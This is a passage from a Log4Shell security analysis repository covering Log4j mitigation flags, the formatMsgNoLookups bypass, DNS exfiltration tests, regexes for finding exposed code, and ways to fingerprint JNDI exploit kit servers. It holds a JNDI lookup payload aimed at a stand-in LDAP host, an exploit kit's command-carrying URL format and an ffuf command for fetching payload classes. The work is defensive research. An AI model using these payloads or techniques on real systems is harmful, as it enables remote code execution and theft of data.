463 | 'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
464 | 'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.enableJndi'.
465 | ```
466 |
467 | So based on the results above:
468 | * Flag `log4j2.formatMsgNoLookups` can be used on Log4j2 version **>= 2.10.0** ([source ref](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L67)).
469 | * Flag `log4j2.enableJndi` can be used on Log4j2 versions **2.12.2** and **2.16.0** only ([source ref](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java#L76)).
470 |
471 | The following script was created and used in combination of a test Maven project using this [test class](https://gist.github.com/righettod/ce1570954242de2f8772c6f25eece77d#gistcomment-3995526) to identify in which versions **>= 2.10.0** the flag is `log4j2.formatMsgNoLookups` is effective or not:
472 |
473 | Script and POM file of the test project:
474 |
475 | 
476 |
477 | Execution with the security flag disabled to verify that the unit test is OK:
478 |
479 | 
480 |
481 | Execution with the security flag enabled to see the protection state:
482 |
483 | 
484 |
485 | So based on the results above: The flag is effective on versions **>= 2.10.0**.
486 |
487 | # Note about formatMsgNoLookups bypass
488 |
489 | This bypass was bring by the [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046).
490 |
491 | Below is a POC from [LunaSecIO](https://twitter.com/LunaSecIO) showing the vulnerability and its exploitation context:
492 |
493 | 
494 |
495 | Source: https://twitter.com/LunaSecIO/status/1470871128843251716
496 |
497 | A unit tests suite was created and used to perform some tests for the bypass of `log4j2.formatMsgNoLookups=true`:
498 |
499 | [Log4ShellExposureTestFormatMsgNoLookupsBypass.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellExposureTestFormatMsgNoLookupsBypass.java)
500 |
501 | Version **2.14.1** seems to be exposed to the bypass:
502 |
503 | 
504 |
505 | Version **2.15.0** do not seems to be exposed to the bypass:
506 |
507 | 
508 |
509 | Note that a usage of the `printf()` function, like for example `victim.printf(Level.INFO,"%s",TEST_PAYLOAD);`, have the same effect that using the `ThreadContext` combined with a expression in the log pattern:
510 |
511 | 
512 |
513 | 
514 |
515 | So a unit tests suite was also created for this bypass:
516 |
517 | [Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java)
518 |
519 | On version **2.15.0** - By default:
520 |
521 | * JNDI with DNS protocol is not allowed:
522 |
523 | 
524 |
525 | * JNDI with LDAP(S) protocol require defining allowed hosts:
526 |
527 | 
528 |
529 | Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734
530 |
531 | Regarding the following bypass disclosed on Twitter:
532 |
533 | 
534 |
535 | 
536 |
537 | Sources:
538 |
539 | * https://twitter.com/marcioalm/status/1471740771581652995
540 | * https://twitter.com/marcioalm/status/1471842702849286149
541 |
542 | It seems not effective on Java 17 ([current LTS](https://en.wikipedia.org/wiki/Java_version_history)) and Java 11 (previous LTS), at least, using a "standart" DNS listener:
543 |
544 | 
545 |
546 | 
547 |
548 | Some DNS client, like **dig**, perform some cleanup so the bypass become functional:
549 |
550 | 
551 |
552 | However, as the JVM (at least 8/11/17) do not perform any cleanup and take the value AS IS for the host then it raise an error about the invalid host name exception: `java.net.UnknownHostException` so my hypothesis (**perhaps I am totally wrong**) is that the bypass need a "lazy" DNS listener accepting characters normally not supported in a domain name (like `#`):
553 |
554 | 
555 |
556 | ⁉️ However, there is still questions in my head about how the not "normal" DNS query with the domain name find is way to the DNS listener of the attcker because it will pass before by "normal" DNS resolvers that will normally reject the DNS query...This point need specific investigation and real POC to be sure that is really effective!
557 |
558 | I have my reply thanks to the author of the tool:
559 |
560 | 
561 |
562 | Source: https://twitter.com/marcioalm/status/1472721497462489092
563 |
564 | So it's possible to exfiltrate data by DNS that do not follow the standart name of a sub domain.
565 |
566 | However, it do not work with listener services like dnslog.cn/interact.sh (include Burp Collaborator):
567 |
568 | **Test with dnslog.cn:**
569 |
570 | 
571 |
572 | 
573 |
574 | **Test with interact.sh**
575 |
576 | 
577 |
578 | 
579 |
580 | So, a custom DNS listener must be used, like [Knary](https://github.com/sudosammy/knary) for example, but, to summarize the exfiltration by DNS is really effective.
581 |
582 | The following script was used in combination of the unit test cases to verify which version **>= 2.10.0** is exposed to the bypass:
583 |
584 | *Utility script named testFormatMsgNoLookupsBypass.sh*
585 |
586 | ```bash
587 | #!/bin/bash
588 | echo "[+] JDK"
589 | java -version
590 | echo "[+] TEST"
591 | while IFS= read -r line
592 | do
593 | mvn -q -D"test=Log4ShellExposureTestFormatMsgNoLookupsBypass" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null
594 | rc1=$?
595 | mvn -q -D"test=Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null
596 | rc2=$?
597 | rc=$(($rc1 + $rc2))
598 | echo ">>> RC: $rc"
599 | if [ $rc -ne 0 ]
600 | then
601 | echo "<<< Version $line flag log4j2.formatMsgNoLookups NOT effective."
602 | else
603 | echo "<<< Version $line flag log4j2.formatMsgNoLookups IS effective."
604 | fi
605 | done < "versions.txt"
606 | ```
607 |
608 | *Execution*
609 |
610 | 
611 |
612 | So based on the results above: Version **2.12.2**, **2.15.0** and **2.16.0** seems not prone to the bypass. it reinforces the fact that update is the only *reliable* way regardring the 45046.
613 |
614 | # Identify formatMsgNoLookups bypass exposure in source code
615 |
616 | Even if it is better to use a [SAST](https://en.wikipedia.org/wiki/Static_application_security_testing) tool to identify weaknesses in source code, the following regexes can be used to quickly spot, across a code base, presence of the elements needed by the bypass:
617 |
618 | ## Search for ThreadContext class usage
619 |
620 | > Keycloak code base do not contains any reference to ThreadContext. I added them to test the regex on a large initial code base.
621 |
622 | **Bash:**
623 |
624 | ```bash
625 | $ grep -r --include "*.java" -nwE '(ThreadContext\.put|import\sorg\.apache\.logging\.log4j\.ThreadContext)' .
626 | ./saml-core/src/main/java/org/keycloak/rotation/HardcodedKeyLocator.java:25:import org.apache.logging.log4j.ThreadContext;
627 | ./saml-core/src/main/java/org/keycloak/rotation/HardcodedKeyLocator.java:59: ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
628 | ...
629 | ```
630 |
631 | **PowerShell:**
632 |
633 | ```powershell
634 | PS> Get-ChildItem -Path .\keycloak-main\ -Include "*.java" -Recurse | Select-String -Pattern "(ThreadContext\.put|import\sorg\.apache\.logging\.log4j\.ThreadContext)" -CaseSensitive
635 | keycloak-main\saml-core\src\main\java\org\keycloak\rotation\HardcodedKeyLocator.java:25:import org.apache.logging.log4j.ThreadContext;
636 | keycloak-main\saml-core\src\main\java\org\keycloak\rotation\HardcodedKeyLocator.java:59: ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
637 | ...
638 | ```
639 |
640 | ## Search for Thread Context Map usage
641 |
642 | > Keycloak code base do not contains any reference to Thread Context Map. I added them to test the regex on a large initial code base.
643 |
644 | Log4j2:
645 | * [Pattern layout documentation](https://logging.apache.org/log4j/2.x/manual/layouts.html)
646 | * [Configuration documentation](https://logging.apache.org/log4j/2.x/manual/configuration.html).
647 |
648 | **Bash:**
649 |
650 | ```bash
651 | $ grep -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '%(X|mdc|MDC)\{\s*.*?\s*\}' .
652 | ./core/src/main/java/org/keycloak/Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} %X{TEST}- %m%n"));
653 | ./testsuite/integration-arquillian/servers/app-server/jetty/common/src/test/resources/log4j.properties:5:log4j.appender.stdout.layout.ConversionPattern=%d{HH:mm:ss,SSS} %mdc{clientNumber2} %-5p %t %MDC{clientNumber3} [%c] %m%n
654 | ./testsuite/model/src/test/resources/log4j.properties:22:keycloak.testsuite.logging.pattern=%d{HH:mm:ss,SSS} %-5p %X{clientNumber} [%c] (%t) %m%n
655 | ```
656 |
657 | **PowerShell:**
658 |
659 | ```powershell
660 | PS> Get-ChildItem -Path .\keycloak-main\ -Include "*.java","*.properties","*.xml","*.json","*.yaml","*.yml" -Recurse | Select-String -Pattern "%(X|mdc|MDC)\{\s*.*?\s*\}" -CaseSensitive
661 | keycloak-main\core\src\main\java\org\keycloak\Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern",
662 | "${ctx:InsecureVariable} %X{TEST}- %m%n"));
663 | keycloak-main\testsuite\integration-arquillian\servers\app-server\jetty\common\src\test\resources\log4j.properties:5:log4j.appender.stdout.layout.ConversionPattern=%d{HH:mm:ss,SSS} %mdc{clientNumber2}
664 | %-5p %t %MDC{clientNumber3} [%c] %m%n
665 | keycloak-main\testsuite\model\src\test\resources\log4j.properties:22:keycloak.testsuite.logging.pattern=%d{HH:mm:ss,SSS} %-5p %X{clientNumber} [%c] (%t) %m%n
666 | ...
667 | ```
668 |
669 |
670 | ## Search for expression usage
671 |
672 | Another regex to identify usage of expressions based on log4j [prefixes](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L103) like `${ctx:xxx}`, `${map:xxx}` ...
673 |
674 | **Bash:**
675 |
676 | ```bash
677 | $ grep -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '\$\{\s*(ctx|log4j|sys|env|main|marker|java|base64|lower|upper|sd|map|jndi|jvmrunargs|date|event|bundle):.*?\s*\}'
678 | core/src/main/java/org/keycloak/Log4ShellExposureTestFormatMsgNoLookupsBypass.java:36: private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
679 | core/src/main/java/org/keycloak/Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} %X{TEST}- %m%n"));
680 | quarkus/runtime/src/main/java/org/keycloak/quarkus/runtime/cli/command/Main.java:56: "Keycloak ${sys:kc.version}",
681 | ...
682 | ```
683 |
684 | **PowerShell**:
685 | ```powershell
686 | PS> Get-ChildItem -Path .\keycloak-main\ -Include "*.java","*.properties","*.xml","*.json","*.yaml","*.yml" -Recurse | Select-String -Pattern "\$\{\s*(ctx|log4j|sys|env|main|marker|java|base64|lower|upper|sd|map|jndi|jvmrunargs|date|event|bundle):.*?\s*\}" -CaseSensitive
687 | keycloak-main\core\src\main\java\org\keycloak\Log4ShellExposureTestFormatMsgNoLookupsBypass.java:36: private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
688 | keycloak-main\core\src\main\java\org\keycloak\Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern",
689 | "${ctx:InsecureVariable} %X{TEST}- %m%n"));
690 | keycloak-main\quarkus\runtime\src\main\java\org\keycloak\quarkus\runtime\cli\command\Main.java:56: "Keycloak ${sys:kc.version}",
691 | ...
692 | ```
693 |
694 |
695 | # Case of non patchable application
696 |
697 | It can happen a case in which an app do not support the last patched version of log4j due to different reasons like: old business application, app for which the vendor stopped the support, app for which the vendor do not exsits anymore and so on...
698 |
699 | If the app run on Java **<= 8** then the following idea can be tried:
700 |
701 | 💡 These versions of java (I have tested on Java 8) support an undocumented JVM property named `socksNonProxyHosts` allowing to leverage a SOCKS proxy as a "firewall" at JVM level.
702 |
703 | This property specify IPs/Hosts for which a SOCKS proxy **must not be applied**, so, using the associated official [SOCKS properties](https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html) (*section 2.4*) `socksProxyHost / socksProxyPort`, it is possible to define a whitelist of IPs/Hosts (via the JVM) to which the app can connect to.
704 |
705 | **Test sample code:**
706 |
707 | The code try to contact an internal and a external hosts via an HTTP GET request, access to the external host is not expected in this case.
708 |
709 | 
710 |
711 | **Test on Java 8:** Property `socksNonProxyHosts` supported
712 |
713 | 
714 |
715 | **Test on Java 11:** Property `socksNonProxyHosts` not supported
716 |
717 | 
718 |
719 | **Test on Java 17:** Property `socksNonProxyHosts` not supported
720 |
721 | 
722 |
723 | I have tested on Java 8/11/17 because they are [Long-Term Support](https://en.wikipedia.org/wiki/Java_version_history) (LTS) official versions.
724 |
725 | ‼️ Ensure that no HTTP/HTTPS/FTP proxy is defined via its associated properties because it have a higher priority, below is an extract of the [documentation](https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html):
726 |
727 | 
728 |
729 | # Note about exposure to DOS by CVE-2021-45105
730 |
731 | This issue was bring by the [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105).
732 |
733 | The following unit test case was provided to detect exposure:
734 |
735 | [Log4ShellDOSExposureTest.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellDOSExposureTest.java)
736 |
737 | The following script, named `testDOSExposure.sh`, was created and used in combination with the unit test above to identify which version was affected:
738 |
739 | ```bash
740 | #!/bin/bash
741 | echo "[+] JDK"
742 | java -version
743 | echo "[+] TEST"
744 | while IFS= read -r line
745 | do
746 | mvn -q -D"test=Log4ShellDOSExposureTest" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 2>&1
747 | rc=$?
748 | if [ $rc -ne 0 ]
749 | then
750 | echo "[RC: $rc] Version $line IS vulnerable."
751 | else
752 | echo "[RC: $rc] Version $line IS NOT vulnerable."
753 | fi
754 | done < "all-versions.txt"
755 | ```
756 |
757 | Below is the result of its execution - The flag `log4j2.formatMsgNoLookups` was enabled to perform the test with all defensive measures actives on versions supporting it:
758 |
759 | 
760 |
761 | Not all versions below the **2.17.0** were exposed and the results is interesting. Indeed, old version like for example **2.4** (2016-05-30) is not vulnerable but a recent version like for example **2.14.1** (2021-03-12) is vulnerable.
762 |
763 | So, it is important to test the version used because exposure is not systematic!
764 |
765 | A test was performed on Java8 on a non-vulnerable version and even if an OutOfMemory error occurs, the main program continue and finish normally:
766 |
767 | 
768 |
769 | On the **2.4**, the OutOfMemory error is not triggered at all:
770 |
771 | 
772 |
773 | Same behavior for **2.4.1** and **2.5**:
774 |
775 | 
776 |
777 | 
778 |
779 | # Note about JNDI-Exploit-Kit
780 |
781 | During my work with my mates [Paul Jung](https://www.linkedin.com/in/jungpaul)/[Sébastien Kaiser](https://www.linkedin.com/in/s%C3%A9bastien-kaiser-a1808582/) from [CERT-XLM](https://excellium-services.com/services/cert-xlm/)/[SOC](https://excellium-services.com/services/eyeguard/), I have remarked the following thing. Sometime the tool [JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) is used.
782 |
783 | By exploring it locally, I noticed that its web server (Jetty) appear as a **abyss** service:
784 |
785 | 
786 |
787 | 
788 |
789 | Payload java compiled class are served by the web server using this URL format: `http://[HOST]:[PORT]/ExecTemplateJDK5.class`
790 |
791 | The name of the class file have this format: `ExecTemplateJDK[0-9].class`:
792 |
793 | 
794 |
795 | So, it is possible once the web port was identified, to try downloading all templates class files compiled with the configured command using [FFUF](https://github.com/ffuf/ffuf):
796 |
797 | ```bash
798 | $ ffuf -c -w nbr.txt -u "http://127.0.0.1:9999/ExecTemplateJDKFUZZ.class" -fs 0
799 | ```
800 |
801 |
802 | 
803 |
804 |
805 | # Note about the exploit kit named JNDIExploit
806 |
807 | During my work on this [tool](https://github.com/righettod/log4shell-payload-grabber), I discovered the following exploit kit:
808 | * https://github.com/fengzhouc/JNDIExploit
809 | * https://github.com/veracode-research/rogue-jndi
810 |
811 | The first one, named **JNDIExploit**, raised my attention because it was supporting the URL format that I was often seeing during my work with CERT-XLM/SOC: `ldap://[HOST]:[PORT]/Basic/Command/Base64/[BASE64_ENCODED_COMMAND]`
812 |
813 | For the following payload mode, the class name was composed by a suffix of 9 characters (charset `[0-9A-Za-z]{9}`) making the class name unique to each LDAP URL call:
814 |
815 | 
816 |
817 | 
818 |
819 | 
820 |
821 | Example with several call to the same payload delivery LDAP URL with the same command:
822 |
823 | 
824 |
825 | So it made a brute force operation hard due to the charset. However, the other payload modes, the name of the class was static including the name of the "developer" in the package name:
826 |
827 | 
828 |
829 | 
830 |
831 | ```java
832 | String TOMCAT = "com.feihong.ldap.template.TomcatMemshellTemplate";
833 | String JETTY = "com.feihong.ldap.template.JettyMemshellTemplate";
834 | String WEBLOGIC = "com.feihong.ldap.template.WeblogicMemshellTemplate";
835 | String JBOSS = "com.feihong.ldap.template.JBossMemshellTemplate";
836 | String WEBSPHERE = "com.feihong.ldap.template.WebsphereMemshellTemplate";
837 | String SPRING = "com.feihong.ldap.template.SpringMemshellTemplate";
838 | ```
839 |
840 | The URL became the following:
841 |
842 | 
843 |
844 | 
845 |
846 | So, using FFUF like used for [JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit), it is possible to grab the class to identify:
847 | * Usage of **JNDIExploit**.
848 | * The execution command defined when the kit was started (if applicable).
849 |
850 | For the record, the web server is recognized by NMAP as a JBOSS app server even if it is a embedded web server using the JDK classes `com.sun.net.httpserver.*`:
851 |
852 | 
853 |
854 | # Note about exposure to RCE by CVE-2021-44832
855 |
856 | This issue was bring by the [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832). This analysis is based on the [blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/?s=03) created by the company that discovered the vulnerability.
857 |
858 | ℹ️ The vulnerability is explained in the blog post so I focused on exploitation context while keeping the previous CVEs in mind.
859 |
860 | To be able to exploit the vulnerability, an attacker need the following conditions:
861 | * **Case 1:** Being able to act on the log4j configuration loaded by the app. For example by controlling the configuration location or the appender parts of the configuration to add/alter a [JdbcAppender](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCAppender).
862 | * **Case 2:** The targeted existing log4j configuration must use a [JdbcAppender](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCAppender) for which the attacker must be able to act on the loading location of the [DataSource](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCDataSource).
863 |
864 | Indeed, as the **DataSource** property of the **JdbcAppender** support JNDI lookup, via the attribute **jndiName**, then we fall back on the previous CVEs and log4shell by extension.
865 |
866 | ❗ It is important to note that, once loaded, a configuration is not reloaded automatically **by default**. So, if an attacker achieve to alter a existing configuration then **he must be also able to instruct the app/log4j to reload the altered configuration if an automatic reconfiguration interval is not explicitly defined**.
867 |
868 | Take a look at this [demonstration](https://raw.githubusercontent.com/righettod/log4shell-analysis/main/videos/CVE-2021-44832_TestCfgAutoReload.mp4) to see that the configuration is not automatically reloaded by default.
869 |
870 | Extract from the documentation about the [Automatic Reconfiguration](https://logging.apache.org/log4j/2.x/manual/configuration.html#AutomaticReconfiguration):
871 |
872 | 
873 |
874 | 💡 **To summarize:** The vulnerability is real **BUT** it requires specific conditions that are not common for an app. Indeed, allowing the external sphere to control the log4j configuration location/content is rare, at least, I never seen this...
875 |
876 | 🗓️ The upgrade must be scheduled but using your standard patching process, not with the same urgency than for the previous CVEs related to log4shell.
877 |
878 | ⚠️ **Personal point fo view:** Keep in mind that this CVE and the blog post come from a vendor of security tools, so, the CVE/blog post are both part of a marketing strategy as we are near to a new year:
879 |
880 | 
881 |
882 | Below are regexes to identify in your code base if you are using a [JdbcAppender](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCAppender) with a [DataSource](https://logging.apache.org/log4j/2.0/manual/appenders.html#JDBCDataSource). It allow you to take a look at the exposure of the configuration against [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832) and then define the patching agenda:
883 |
884 | Note about the proposed regexes:
885 | * For the **Properties** configuration file type, if **connectionSource.type** is set to **DataSource** then there is a JNDI name associated to the configuration.
886 | * Focus for this CVE was made on **XML** and **Properties** file types because there are the most commons ones used.
887 |
888 | **Bash:**
889 |
890 | ```bash
891 | $ grep -r --include "*.xml" --include "*.properties" -nwE '(DataSource\s.*?jndiName|connectionSource\.type\s*=\s*DataSource)' .
892 | ./sandbox/src/main/resources/log4j2-poc.xml:5:
893 | ./sandbox/src/main/resources/log4j2.properties:7:appender.db.connectionSource.type = DataSource
894 | ./sandbox/target/classes/log4j2-poc.xml:5:
895 | ```
896 |
897 |
898 | **PowerShell:**
899 |
900 | ```powershell
901 | PS> Get-ChildItem -Path $pwd -Include "*.properties","*.xml" -Recurse | Select-String -Pattern "(DataSource\s.*?jndiName|connectionSource\.type\s*=\s*DataSource)" -CaseSensitive
902 | sandbox\src\main\resources\log4j2-poc.xml:5:
903 | sandbox\src\main\resources\log4j2.properties:7:appender.db.connectionSource.type = DataSource
904 | sandbox\target\classes\log4j2-poc.xml:5:
905 | ```
906 |
907 |
908 |
909 |
910 |
911 |
912 |
913 |
914 |
915 |
916 |
917 |
918 |
919 |
920 |
921 |
922 |
923 |
924 |
925 |
926 |
927 |
928 |
929 |
930 |
931 |
932 |
933 |
934 |
935 |
936 |
937 |
938 |
939 |
940 |
941 |
942 |
943 |
944 |
945 |
946 |
947 |
948 |
949 |
950 |
951 |
952 |
953 |
954 |
955 |
--------------------------------------------------------------------------------
/analysis/_resources/03825d83e194e1fd6ad9424365563164.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/03825d83e194e1fd6ad9424365563164.png
--------------------------------------------------------------------------------
/analysis/_resources/090b547c2ee9577d049d5f06a366a255.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/090b547c2ee9577d049d5f06a366a255.png
--------------------------------------------------------------------------------
/analysis/_resources/0c073485244185cac60a1123157f26db.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/0c073485244185cac60a1123157f26db.png
--------------------------------------------------------------------------------
/analysis/_resources/0de487df59902062298285c682c8c49d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/0de487df59902062298285c682c8c49d.png
--------------------------------------------------------------------------------
/analysis/_resources/12986762049ae62e076290dc632b7c93.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/12986762049ae62e076290dc632b7c93.png
--------------------------------------------------------------------------------
/analysis/_resources/1306e199154435e85f333b8075499760.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1306e199154435e85f333b8075499760.png
--------------------------------------------------------------------------------
/analysis/_resources/1758c686ff3a220a523359384d125920.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1758c686ff3a220a523359384d125920.png
--------------------------------------------------------------------------------
/analysis/_resources/177779480e61d8d50c8d29bc0713fc85.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/177779480e61d8d50c8d29bc0713fc85.png
--------------------------------------------------------------------------------
/analysis/_resources/182157e3c3a155bc42191d0396061479.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/182157e3c3a155bc42191d0396061479.png
--------------------------------------------------------------------------------
/analysis/_resources/18bfb79d74a6b813785b82b55647192a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/18bfb79d74a6b813785b82b55647192a.png
--------------------------------------------------------------------------------
/analysis/_resources/1cb74c7fa340bca9961a758a91e1c59a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1cb74c7fa340bca9961a758a91e1c59a.png
--------------------------------------------------------------------------------
/analysis/_resources/1eb3f0dce6780f32a8bc8789b62d5bfa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1eb3f0dce6780f32a8bc8789b62d5bfa.png
--------------------------------------------------------------------------------
/analysis/_resources/293347b0e4ebb96b5a32975ae4ecd323.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/293347b0e4ebb96b5a32975ae4ecd323.png
--------------------------------------------------------------------------------
/analysis/_resources/3100adc4e79b2ce1d375d99ee9be2bab.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/3100adc4e79b2ce1d375d99ee9be2bab.png
--------------------------------------------------------------------------------
/analysis/_resources/313927e3ba8f8a4626b3f35880d5ae2f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/313927e3ba8f8a4626b3f35880d5ae2f.png
--------------------------------------------------------------------------------
/analysis/_resources/3c0e46923da3c81f6f2ae672178030c1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/3c0e46923da3c81f6f2ae672178030c1.png
--------------------------------------------------------------------------------
/analysis/_resources/424473a819335c8fb1e18ce048b4af06.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/424473a819335c8fb1e18ce048b4af06.png
--------------------------------------------------------------------------------
/analysis/_resources/47b8e44f08dbdeb1fe643fae42ac3c2c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/47b8e44f08dbdeb1fe643fae42ac3c2c.png
--------------------------------------------------------------------------------
/analysis/_resources/4a7aba5e6f83ee9ada7b7717846717e8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4a7aba5e6f83ee9ada7b7717846717e8.png
--------------------------------------------------------------------------------
/analysis/_resources/4a80de42803d382f0ffbf6ad5573cea3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4a80de42803d382f0ffbf6ad5573cea3.png
--------------------------------------------------------------------------------
/analysis/_resources/4de5250e68f96b02b3814994e8ba43df.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4de5250e68f96b02b3814994e8ba43df.png
--------------------------------------------------------------------------------
/analysis/_resources/4ee4ba67f0c8bc519ecff2b7ec2860ce.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4ee4ba67f0c8bc519ecff2b7ec2860ce.png
--------------------------------------------------------------------------------
/analysis/_resources/4f6331ce3e2fc85975b7578d724666e7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4f6331ce3e2fc85975b7578d724666e7.png
--------------------------------------------------------------------------------
/analysis/_resources/518d2dbb1493aabfa352583aec24b324.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/518d2dbb1493aabfa352583aec24b324.png
--------------------------------------------------------------------------------
/analysis/_resources/51ce94949b2ae7a6f6011a5a14e6ed39.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/51ce94949b2ae7a6f6011a5a14e6ed39.png
--------------------------------------------------------------------------------
/analysis/_resources/5268409280f31de07a7013e234f572ea.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/5268409280f31de07a7013e234f572ea.png
--------------------------------------------------------------------------------
/analysis/_resources/52b903901e23eaaa20e242d4c6027351.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/52b903901e23eaaa20e242d4c6027351.png
--------------------------------------------------------------------------------
/analysis/_resources/52f988156938f762866840a2d46ee5d7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/52f988156938f762866840a2d46ee5d7.png
--------------------------------------------------------------------------------
